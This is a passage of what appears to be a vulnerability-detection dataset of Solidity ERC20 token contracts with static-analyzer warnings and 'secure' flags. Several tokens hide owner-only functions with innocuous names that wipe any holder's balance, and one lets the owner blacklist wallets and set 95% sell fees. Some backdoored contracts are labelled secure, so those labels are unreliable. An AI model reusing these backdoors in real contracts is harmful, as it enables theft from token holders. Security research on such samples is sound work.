1e18,\n \"Cannot set maxTransactionAmount lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: 68a08e7\n maxTransactionAmount = newNum;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0869005): AMC4200.updateMaxWalletAmount(uint256) should emit an event for maxWalletAmount = newNum \n\t// Recommendation for 0869005: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWalletAmount lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 0869005\n maxWalletAmount = newNum;\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n Allow[updAds] = isEx;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 048fc5f): Missing events for critical arithmetic parameters.\n\t// Recommendation for 048fc5f: Emit an event for critical parameter changes.\n function tax_out(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee_\n ) external onlyOwner {\n\t\t// events-maths | ID: 048fc5f\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 048fc5f\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 048fc5f\n selldevFee = _devFee_;\n\n\t\t// events-maths | ID: 048fc5f\n sellTotalFees = sellMarketingFee + sellLiquidityFee + selldevFee;\n\n require(sellTotalFees <= 95, \"-\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 48496e8): Missing events for critical arithmetic parameters.\n\t// Recommendation for 48496e8: Emit an event for critical parameter changes.\n function tax_in(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee_\n ) external onlyOwner {\n\t\t// events-maths | ID: 48496e8\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 48496e8\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 48496e8\n buydevFee = _devFee_;\n\n\t\t// events-maths | ID: 48496e8\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buydevFee;\n\n require(buyTotalFees <= 45, \"-\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function AddBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n _blacklist[bots_[i]] = true;\n }\n }\n\n function enable(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n _blacklist[notbot[i]] = false;\n }\n }\n\n function Confirm(address wallet) public view returns (bool) {\n return _blacklist[wallet];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 643314c): AMC4200.updateamcone(address).newamcone lacks a zerocheck on \t amcone = newamcone\n\t// Recommendation for 643314c: Check that the address is not zero.\n function updateamcone(address newamcone) external onlyOwner {\n emit amconeUpdated(newamcone, amcone);\n\n\t\t// missing-zero-check | ID: 643314c\n amcone = newamcone;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0635159): AMC4200.updateamctwo(address).newWallet lacks a zerocheck on \t amctwo = newWallet\n\t// Recommendation for 0635159: Check that the address is not zero.\n function updateamctwo(address newWallet) external onlyOwner {\n emit amctwoUpdated(newWallet, amctwo);\n\n\t\t// missing-zero-check | ID: 0635159\n amctwo = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function Airdrop(\n address[] memory airdropWallets,\n uint256[] memory amount\n ) external onlyOwner {\n require(\n airdropWallets.length == amount.length,\n \"Arrays must be the same length\"\n );\n\n require(\n airdropWallets.length <= 2000,\n \"Wallets list length must be <= 2000\"\n );\n\n for (uint256 i = 0; i < airdropWallets.length; i++) {\n address wallet = airdropWallets[i];\n\n uint256 airdropAmount = amount[i] * (10 ** 18);\n\n super._transfer(msg.sender, wallet, airdropAmount);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3bd4ec6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3bd4ec6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0678936): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 0678936: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 97e1ffc): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 97e1ffc: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 295a606): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 295a606: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 13dd14e): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 13dd14e: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7b878d2): AMC4200._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensFordev += (fees * selldevFee) / sellTotalFees\n\t// Recommendation for 7b878d2: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5f9117b): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 5f9117b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 193993c): AMC4200._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensFordev += (fees * buydevFee) / buyTotalFees\n\t// Recommendation for 193993c: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f616858): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f616858: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n !_blacklist[to] && !_blacklist[from],\n \"You have been blacklisted from transfering tokens\"\n );\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 0678936\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (automatedMarketMakerPairs[from] && !Allow[to]) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n } else if (automatedMarketMakerPairs[to] && !Allow[from]) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!Allow[to]) {\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n block.number <= (launchedAt + 0) &&\n to != uniswapV2Pair &&\n to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)\n ) {\n _blacklist[to] = false;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t\t// reentrancy-eth | ID: f616858\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: f616858\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 97e1ffc\n\t\t\t\t// divide-before-multiply | ID: 13dd14e\n\t\t\t\t// divide-before-multiply | ID: 7b878d2\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 13dd14e\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 7b878d2\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensFordev += (fees * selldevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 97e1ffc\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 295a606\n\t\t\t\t// divide-before-multiply | ID: 5f9117b\n\t\t\t\t// divide-before-multiply | ID: 193993c\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 295a606\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 193993c\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensFordev += (fees * buydevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 5f9117b\n\t\t\t\t// reentrancy-eth | ID: f616858\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t\t\t// reentrancy-eth | ID: f616858\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t// reentrancy-eth | ID: f616858\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 092ba57\n\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t// reentrancy-benign | ID: 0a92392\n\t\t// reentrancy-no-eth | ID: a1fdfe8\n\t\t// reentrancy-eth | ID: f616858\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a8702e3): AMC4200.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(this),block.timestamp)\n\t// Recommendation for a8702e3: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 092ba57\n\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t// reentrancy-benign | ID: 0a92392\n\t\t// unused-return | ID: a8702e3\n\t\t// reentrancy-eth | ID: f616858\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 092ba57): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 092ba57: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0a92392): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0a92392: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a1fdfe8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a1fdfe8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensFordev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 092ba57\n\t\t// reentrancy-benign | ID: 0a92392\n\t\t// reentrancy-no-eth | ID: a1fdfe8\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(\n totalTokensToSwap\n );\n\n uint256 ethFordev = ethBalance.mul(tokensFordev).div(totalTokensToSwap);\n\n uint256 ethForLiquidity = ethBalance - ethForMarketing - ethFordev;\n\n\t\t// reentrancy-no-eth | ID: a1fdfe8\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: a1fdfe8\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: a1fdfe8\n tokensFordev = 0;\n\n\t\t// reentrancy-events | ID: 092ba57\n\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t// reentrancy-benign | ID: 0a92392\n\t\t// reentrancy-eth | ID: f616858\n (success, ) = address(amctwo).call{value: ethFordev}(\"\");\n\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 092ba57\n\t\t\t// reentrancy-benign | ID: 0a92392\n addLiquidity(liquidityTokens, ethForLiquidity);\n\n\t\t\t// reentrancy-events | ID: 092ba57\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\n\t\t// reentrancy-events | ID: 3bd4ec6\n\t\t// reentrancy-eth | ID: f616858\n (success, ) = address(amcone).call{value: address(this).balance}(\"\");\n }\n}",
"file_name": "solidity_code_3681.sol",
"secure": 0,
"size_bytes": 24869
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 40225c5): Contract locking ether found Contract PEPETheShining has payable functions PEPETheShining.receive() But does not have a function to withdraw the ether\n// Recommendation for 40225c5: Remove the 'payable' attribute or add a withdraw function.\ncontract PEPETheShining is ERC20, Ownable {\n constructor() ERC20(unicode\"PEPE The Shining\", unicode\"ShiningPepe\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 40225c5): Contract locking ether found Contract PEPETheShining has payable functions PEPETheShining.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 40225c5: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3682.sol",
"secure": 0,
"size_bytes": 1051
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract KABOSU is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable vintagefair;\n\n constructor() {\n _name = \"KABOSU\";\n\n _symbol = \"KABOSU\";\n\n _decimals = 18;\n\n uint256 initialSupply = 1000000000;\n\n vintagefair = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == vintagefair, \"Not allowed\");\n\n _;\n }\n\n function realdog(address[] memory quarter) public onlyOwner {\n for (uint256 i = 0; i < quarter.length; i++) {\n address account = quarter[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3683.sol",
"secure": 1,
"size_bytes": 4373
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract KYRA is ERC20 {\n constructor() ERC20(unicode\"Kyra\", unicode\"KYRA\") {\n _mint(msg.sender, 1_000_000_000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3684.sol",
"secure": 1,
"size_bytes": 289
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract FreeMog is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable plotconjecture;\n\n constructor() {\n _name = \"FreeMog\";\n\n _symbol = \"FreeMog\";\n\n _decimals = 18;\n\n uint256 initialSupply = 477000000;\n\n plotconjecture = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == plotconjecture, \"Not allowed\");\n\n _;\n }\n\n function blackpink(address[] memory section) public onlyOwner {\n for (uint256 i = 0; i < section.length; i++) {\n address account = section[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3685.sol",
"secure": 1,
"size_bytes": 4386
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable judge;\n\n constructor() {\n _name = \"TRUMP\";\n\n _symbol = \"TRUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 763000000;\n\n judge = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == judge, \"Not allowed\");\n\n _;\n }\n\n function undermine(address[] memory treasurer) public onlyOwner {\n for (uint256 i = 0; i < treasurer.length; i++) {\n address account = treasurer[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3686.sol",
"secure": 1,
"size_bytes": 4359
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LoveIs is ERC20 {\n constructor() ERC20(\"Love Is...\", \"LOVEIS\") {\n _mint(msg.sender, 888000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_3687.sol",
"secure": 1,
"size_bytes": 267
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract StandardERC20 is ERC20 {\n constructor() ERC20(\"EaveAI\", \"EAVE\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3688.sol",
"secure": 1,
"size_bytes": 277
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e0e10e6): Contract locking ether found Contract BookofFreedom has payable functions BookofFreedom.receive() But does not have a function to withdraw the ether\n// Recommendation for e0e10e6: Remove the 'payable' attribute or add a withdraw function.\ncontract BookofFreedom is ERC20, Ownable {\n constructor() ERC20(unicode\"Book of Freedom\", unicode\"BOREDOM\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e0e10e6): Contract locking ether found Contract BookofFreedom has payable functions BookofFreedom.receive() But does not have a function to withdraw the ether\n\t// Recommendation for e0e10e6: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3689.sol",
"secure": 0,
"size_bytes": 1041
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_369.sol",
"secure": 1,
"size_bytes": 214
} |
{
